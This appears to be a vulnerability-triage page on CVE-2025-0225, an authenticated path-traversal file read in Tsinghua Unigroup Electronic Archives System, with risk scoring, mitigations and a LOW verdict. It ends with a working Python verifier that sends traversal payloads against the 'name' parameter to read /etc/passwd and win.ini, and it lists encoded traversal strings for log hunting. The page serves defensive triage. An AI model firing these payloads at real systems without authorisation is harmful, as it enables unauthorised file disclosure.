This is a janitor-key issue, not a front-door breach
/setting/ClassFy/exampleDownload.html in Tsinghua Unigroup Electronic Archives System 3.2.210802(62532) accepts a user-controlled name parameter and can be tricked into traversing out of the intended directory with sequences like ../. The published CVE metadata and public PoC point to an authenticated remote file-read condition with *low* confidentiality impact, affecting the observed build 3.2.210802(62532); I did not find an authoritative vendor advisory naming a fixed release.
The vendor's MEDIUM 4.3 baseline is a little generous for enterprise triage reality. The decisive friction is PR:L: an attacker needs a valid low-privilege session first, which means this is usually *post-initial-access* or insider abuse, and the exposed population is likely narrow because this is a niche archives platform that is commonly internal-facing rather than broadly internet-facing.
4 steps from start to impact.
Get a low-priv session
PR:L, so the attacker needs authenticated access before the traversal matters. In practice that means stolen credentials, an already-compromised user workstation, SSO abuse, or an insider account hitting the application over HTTP/S.- Reachability to the Electronic Archives System web UI
- A valid low-privilege account or reusable authenticated session cookie
- This is not unauthenticated internet spray-and-pray
- MFA, SSO controls, and account lifecycle hygiene often stop the account-acquisition stage before the CVE is relevant
- Many deployments are likely internal-only or VPN-gated
Trigger traversal in exampleDownload.html
/setting/ClassFy/exampleDownload.html and manipulates the name parameter with traversal payloads such as ../. The referenced public exploit is the GitHub BxYQ/ld file_read4/poc.py, which lowers exploitation effort for anyone who already has a session.- Knowledge of the vulnerable endpoint
- The application must pass the supplied path into file handling without sufficient canonicalization
- WAFs or reverse proxies sometimes catch obvious
../strings - Application routing, URL encoding quirks, or input normalization may break commodity PoCs
- If the endpoint is role-restricted beyond baseline login, reachable population shrinks further
exampleDownload.html with traversal markers like ../, %2e%2e%2f, or Windows-style backslashes; generic network IDS coverage is uneven.Read files the app can see
- Sensitive files exist on disk and are readable by the app service account
- The disclosed file meaningfully helps the attacker or exposes business data
- OS and application file permissions can sharply limit what is actually readable
- Many juicy secrets may live in databases, HSM-backed stores, or protected config paths rather than flat files
- The CVE record does not show integrity or availability impact, so blast radius is narrower than classic traversal-to-RCE chains
exampleDownload.html, especially content patterns matching /etc/passwd, win.ini, app config files, or archive metadata not tied to normal user workflow.Use disclosed data for follow-on abuse
- The readable file contains credentials, tokens, PII, case data, or system metadata
- The attacker has time to operationalize the disclosed information
- No evidence in reviewed sources of active campaigns chaining this CVE
- Publicly available metadata describes only partial technical impact and non-automatable exploitation
- Useful loot may be sparse in hardened deployments
The supporting signals.
| In-the-wild status | No confirmed active exploitation found in reviewed authoritative sources; the CISA KEV catalog page reviewed does not list CVE-2025-0225. |
|---|---|
| KEV status | Not KEV-listed in the CISA Known Exploited Vulnerabilities catalog. |
| Proof-of-concept | Public PoC exists: GitHub repo BxYQ/ld, path file_read4, with referenced script poc.py. |
| EPSS | 0.00327 per the user-supplied intel block — very low probability. Primary-source percentile was not directly retrievable from reviewed sources, but this score sits in the *low-likelihood* band. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — remote and easy to trigger *once authenticated*, but impact is limited to low confidentiality loss. |
| Affected versions | Reviewed sources only name Tsinghua Unigroup Electronic Archives System 3.2.210802(62532) as affected. I found no authoritative evidence that a broader version range is impacted. |
| Fixed version | No fixed version located in reviewed authoritative sources; no vendor patch advisory was found. |
| Exposure/scanning | Exposure population unknown. I did not find a reliable Shodan/Censys/FOFA fingerprint or internet-scale count tied specifically to this endpoint/product in the reviewed sources, which is itself a sign this is not a broadly tracked perimeter issue. |
| Disclosure date | 2025-01-05. |
| Reporter / source CNA | VulDB is the CNA/source reflected in the NVD and OpenCVE records. |
noisgate verdict.
This lands in LOW because the attack starts at authenticated remote access, which means the CVE usually matters only *after* the attacker already has a foothold or insider position. That prerequisite collapses the reachable population and makes this a poor candidate to outrank unauthenticated perimeter bugs or post-auth flaws with higher blast radius.
Why this verdict
- Downgraded for attacker position:
PR:Lmeans this is not an initial-access bug; it assumes valid credentials or a hijacked session before exploitation even starts. - Downgraded for blast radius: published scoring shows
C:L/I:N/A:N, so the bug reads as limited file disclosure, not takeover, destruction, or service loss. - Downgraded for exposure population: this is a niche archives product with no reviewed evidence of broad internet exposure or active KEV-level exploitation.
- Not ignored because exploitation is straightforward once inside: the public
poc.pylowers operator effort for any attacker who already has application access.
Why not higher?
There is no reviewed evidence of unauthenticated access, no KEV listing, no confirmed active campaigns, and no stated integrity or availability impact. The most important practical truth is that an attacker must already be inside the trust boundary with a working account.
Why not lower?
It is still a real remote traversal with a public PoC, and archives platforms can hold sensitive records. If a low-privileged user can pull unintended files from disk, that is operationally meaningful enough to stay above IGNORE.
What to do — in priority order.
- Block direct access to the vulnerable endpoint — Restrict
/setting/ClassFy/exampleDownload.htmlat the reverse proxy, WAF, or application gateway to trusted admin networks or approved user groups if business workflow allows. For a LOW verdict there is no formal noisgate mitigation SLA; treat this as backlog hygiene and deploy the restriction in the next routine change window. - Enforce least privilege on the app service account — Cut filesystem read access for the web application process to only the directories it genuinely needs. This reduces what traversal can disclose even if the input validation flaw remains, and for LOW severity it should be folded into the next normal hardening cycle.
- Hunt for traversal indicators in web logs — Search historical and live HTTP logs for
exampleDownload.htmlrequests carrying../,%2e%2e%2f,%252e%252e%252f, or backslash variants. That gives you a fast read on whether this bug has been probed while you queue remediation through normal backlog handling. - Tighten access to the application — Require VPN, IP allowlisting, and strong SSO/MFA for this application if not already in place. This does not fix the bug, but it meaningfully raises the cost of satisfying the
PR:Lprerequisite and is worth applying during regular access-control maintenance.
- AV/EDR alone doesn't stop a normal-looking authenticated HTTP request that reads a file through the application's own download path.
- MFA after session theft is not enough if the attacker is replaying an already-valid cookie or abusing an insider account.
- Network segmentation by itself helps only if the app is actually isolated; once a user can reach the app and log in, segmentation does not prevent the traversal.
Crowdsourced verification payload.
Run this from an auditor workstation against the live web app, not on the server. Invoke it with a reachable base URL and a valid low-privileged session cookie because the CVSS indicates authentication is required, for example: python3 verify_cve_2025_0225.py --url https://archives.example.com --cookie 'JSESSIONID=abc123'; no local admin rights are needed, but you do need network reachability and permission to test the target.
#!/usr/bin/env python3
# CVE-2025-0225 verifier for Tsinghua Unigroup Electronic Archives System
# Usage:
# python3 verify_cve_2025_0225.py --url https://target.example --cookie 'JSESSIONID=abc123'
# Exit codes:
# 0 = PATCHED
# 1 = VULNERABLE
# 2 = UNKNOWN
import argparse
import sys
import requests
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings() # type: ignore
LINUX_MARKERS = ["root:x:0:0:", "/bin/", "/sbin/nologin"]
WINDOWS_MARKERS = ["[extensions]", "for 16-bit app support", "MAPI="]
def build_cookie_dict(raw_cookie: str):
cookies = {}
if not raw_cookie:
return cookies
for part in raw_cookie.split(';'):
if '=' in part:
k, v = part.split('=', 1)
cookies[k.strip()] = v.strip()
return cookies
def classify(resp):
body = resp.text[:8192] if resp.text else ""
if resp.status_code == 200:
for marker in LINUX_MARKERS + WINDOWS_MARKERS:
if marker.lower() in body.lower():
return "VULNERABLE"
if resp.status_code in (400, 403, 404):
return "PATCHED"
return "UNKNOWN"
def main():
parser = argparse.ArgumentParser(description="Verify CVE-2025-0225 against a target URL")
parser.add_argument("--url", required=True, help="Base URL, e.g. https://archives.example.com")
parser.add_argument("--cookie", default="", help="Authenticated session cookie, e.g. 'JSESSIONID=abc123'")
parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds")
parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
args = parser.parse_args()
base = args.url.rstrip('/') + '/'
endpoint = urljoin(base, 'setting/ClassFy/exampleDownload.html')
cookies = build_cookie_dict(args.cookie)
verify_tls = not args.insecure
payloads = [
{'name': '../../../../../../../../etc/passwd'},
{'name': '..\\..\\..\\..\\..\\..\\Windows\\win.ini'},
{'name': '..%2f..%2f..%2f..%2fetc%2fpasswd'},
]
headers = {
'User-Agent': 'noisgate-cve-2025-0225-verifier/1.0',
'Accept': '*/*'
}
saw_unknown = False
for payload in payloads:
try:
resp = requests.get(endpoint, params=payload, headers=headers, cookies=cookies, timeout=args.timeout, verify=verify_tls, allow_redirects=True)
except requests.RequestException:
saw_unknown = True
continue
verdict = classify(resp)
if verdict == 'VULNERABLE':
print('VULNERABLE')
sys.exit(1)
elif verdict == 'UNKNOWN':
saw_unknown = True
else:
# PATCHED for this payload; continue checking others for confidence
pass
if saw_unknown:
print('UNKNOWN')
sys.exit(2)
print('PATCHED')
sys.exit(0)
if __name__ == '__main__':
main()
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.